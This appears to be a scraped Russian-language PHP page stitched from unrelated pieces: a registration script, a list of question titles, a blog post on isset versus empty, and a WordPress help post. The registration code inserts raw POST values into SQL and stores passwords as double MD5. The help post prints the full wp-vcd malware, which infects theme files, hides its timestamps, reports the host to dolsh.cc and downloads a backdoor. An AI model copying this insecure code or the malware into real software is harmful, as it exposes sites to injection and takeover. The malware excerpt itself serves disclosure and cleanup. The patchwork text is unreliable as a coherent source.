If isset

<?php  error_reporting(E_ALL); ini_set('display_errors', 1);  if(isset($_POST['submit'])) {  $err = array();  # проверям user  if(!preg_match("/^[a-zA-Z0-9]+$/",$_POST['user']))  {  $err[] = "имя пользователя может состоять только из букв английского алфавита и цифр";  }  if(strlen($_POST['user']) < 3 or strlen($_POST['user']) > 30)  {  $err[] = "имя пользователя не должно содержать менее 3-х символов и более 30";  }  # проверяем, не сущестует ли user с таким именем  $query = mysql_query("SELECT COUNT(user_id) FROM users WHERE user_user='".mysql_real_escape_string($_POST['user'])."'");  if(mysql_result($query, 0) > 0)  {  $err[] = "пользователь с таким именем уже существует";  }  # проверям email  if(!preg_match("'/[^(w)|(@)|(.)|(-)]/'",$_POST['email']))  {  $err[] = "неправильно введен E-Mail адрес";  }  # Если нет ошибок, то добавляем в БД нового пользователя  if(count($err) == 0)  {  $user = $_POST['user'];  # Убираем лишние пробелы и делаем двойное шифрование  $pass = md5(md5(trim($_POST['pass'])));  $email = $_POST['email'];  mysql_query("INSERT INTO users SET user_user='".$user."', user_pass='".$pass."', user_email='".$email."'");    header("Location: profile.php"); exit();  }  else  {  print "При регистрации произошли следующие ошибки:<br>";  foreach($err AS $error)  {  print $error."<br>";  }  } } ?> <!doctype html> <html lang="en">  <head>  <meta charset="utf-8">  <title>Site - Registration</title>   <script src="js/js.js"></script>   <link rel="stylesheet" href="css/style.css">   <meta http-equiv="X-UA-Compatible" content="chrome=1">  <meta name="viewport" content="width=600">  </head>  <body class="login">   <header class="top">  <div class="wrap">  <aside class="logo">  <a href="register.php">Регистрация</a>  </aside>  </div>  </header> <section class="login content">   <form method="post" action="register.php">   <fieldset>  <p><label for="user">Username:</label>  <input id="user" autocapitalize="off" autofocus="true" placeholder="Username" type="text" name="user"></p>   <p><label for="pass">Password:</label>  <input id="pass" placeholder="Password" type="password" name="pass"></p>   <p><label for="email">E-Mail:</label>  <input id="email" autocapitalize="off" autofocus="true" placeholder="E-Mail" type="text" name="email"></p>    <button type="submit">Registration</button></p>  </fieldset>   </form>  </section>  </body> </html>

phpclub.ru

Показывать номер в качестве условного номера в «текстовой форме» с помощью класса NumberFormatter PHP? Эффективный способ обновления / заполнения базы данных mysql внешним XML Сохранение пользовательского расширения файла в Internet Explorer при использовании PHP для отправки файла? Zend Framework 2: Навигация PHP header () перенаправляет переменные POST Функция Doctrine 2 Query Builder abs Функция .htaccess файл: динамическое перенаправление Обработка входящей электронной почты с помощью PHP Script php-paypal-error: 14077410: Подпрограммы SSL: SSL23_GET_SERVER_HELLO: отказ при сбое вызова sslv3 Отладка маршрутов в кодеригнере? PDO – запрос не дает результатов jQuery | Получение отображения значения, когда несколько одинаковых идентификаторов Как проверить подпись DKIM в PHP? вызов php-функции из python Тестирование вставки базы данных с помощью Symfony

ruphp.com

Как бы не ругали PHP за слабую и плохую типизированность помноженную на кучу функций на все случаи жизни, у него есть полно плюсов как простота при подходе к решению задач, обилие инструментов по умолчанию и т.д.

Один вот нюанс я заметил, что часто встречается у разработчиков на PHP это люди путают назначение функций empty и isset.

Вот вам пример, как вам кажется этот код хорош или нет?

if(isset($params['alias'])) $where[] = 'alias = "'.addslashes($params['alias']).'"';

я даже не буду ничего говорить про addslashes без проверки magic_quotes* если вы не новичок вам и так понятно, да и всё же дальше используется dibi библиотека в которой есть гибкий и очень удобный конструктор запросов и плэйсхолдер по умолчанию. Что люди не используют всех возможностей библиотек и так ясно, это просто лень почитать одностраничный ман.

Речь не об этом, речь об isset и empty.

Что мы знаем об empty? Это на самом деле простая директива или конструкция языка, которая проверяет переменную на пустоту и не выдаёт предупреждения, если даже переменная не определена, то есть она совмещает в себе функцию isset

empty() is the opposite of (boolean) var, except that no warning is generated when the variable is not set.)

Второе, что такое пустота для PHP. Именно за такие вещи многие не любят PHP или многие не любят после PHP другие языки, когда пустота в них имеет определенное значение например nil (Ruby, puts nil.class) или undefined (JS).

В PHP пустота это 0, "", array(), 0.0, FALSE, Null или просто даже без значения определенная переменная:

The following things are considered to be empty:
"" (an empty string)
0 (0 as an integer)
0.0 (0 as a float)
«0» (0 as a string)
NULL
FALSE
array() (an empty array)
var $var; (a variable declared, but without a value in a class)

История с isset вообще проще, это так же конструкция языка, которая проверяет только две вещи: объявлена ли переменная ($var; например) и не является ли она NULL!
Всё!

То есть получается, что вот код.

$name = '';  if( isset($name) ) echo "Hello {$name}n";  if( !empty($name) ) echo "Good night {$name}n";

Выдаст всё же не тот что нам как бы нужен:
> Hello

Так и выше код соберётся с ненужным условием и даже скорее неправильным (!!!) условием, когда было происходит сбор параметров

   $params['alias'] = $_GET['alias'];  ...  // сбор sql запроса, для PHP переменная $params['alias'] всё же объявлена, НО ПУСТАЯ!  if(isset($params['alias'])) $where[] = 'alias = "'.addslashes($params['alias']).'"';  

ваш SQL запрос получится смешного вида alias = », хотя я уверен вам бы хотелось видеть его совсем иного вида.

Поэтому я всё же правильнее понимать отличия где и когда использовать isset и empty.

Удачи, оставайтесь на стороне разума!

ufacode.ru

Я использую Wordfence для сканирования файлов. И сканирование показывает результаты:

  • функция functions.php в 20-й теме также содержит тот же код, что и выше.
  • В папке wp-includes есть странный файл «wp-vcd.php». Файл содержит следующий код:

     <?php error_reporting(0); ini_set('display_errors', 0); $install_code = 'PD='; $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT); $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code )); $themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes'; $ping = true; $ping2 = false; if ($list = scandir( $themes )) { foreach ($list as $_) { if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) { $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'); if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) { if (strpos($content, 'WP_V_CD') === false) { $content = $install_code . $content ; @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content); touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time ); } else { $ping = false; } } } else { $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_); foreach ($list2 as $_2) { if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) { $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'); if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) { if (strpos($content, 'WP_V_CD') === false) { $content = $install_code . $content ; @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content); touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time ); $ping2 = true; } else { //$ping = false; } } } } } } if ($ping) { $content = @file_get_contents('http://www.dolsh.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.dolsh.cc/admin.txt')); } if ($ping2) { $content = @file_get_contents('http://www.dolsh.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash); @file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.dolsh.cc/admin.txt')); //echo ABSPATH . 'wp-includes/class.wp.php'; } } ?><?php error_reporting(0);?> 
  • В папке wp-includes этот код отображается вверху в файле post.php.

      <?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php 
  • В папке wp-includes есть странный файл «wp-feed», содержащий следующие строки:

      ::1 127.0.0.1 

Теперь после того, как я удалил код из всех функций theme.php и связанного файла и удалил странные файлы. Я заметил, что этот код не возвращается.

Эта проблема возникает из плагинов, которые я загружаю с веб-сайтов, которые предоставляют бесплатные плагины.

www.wordpressask.com

You May Also Like

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте как обрабатываются ваши данные комментариев.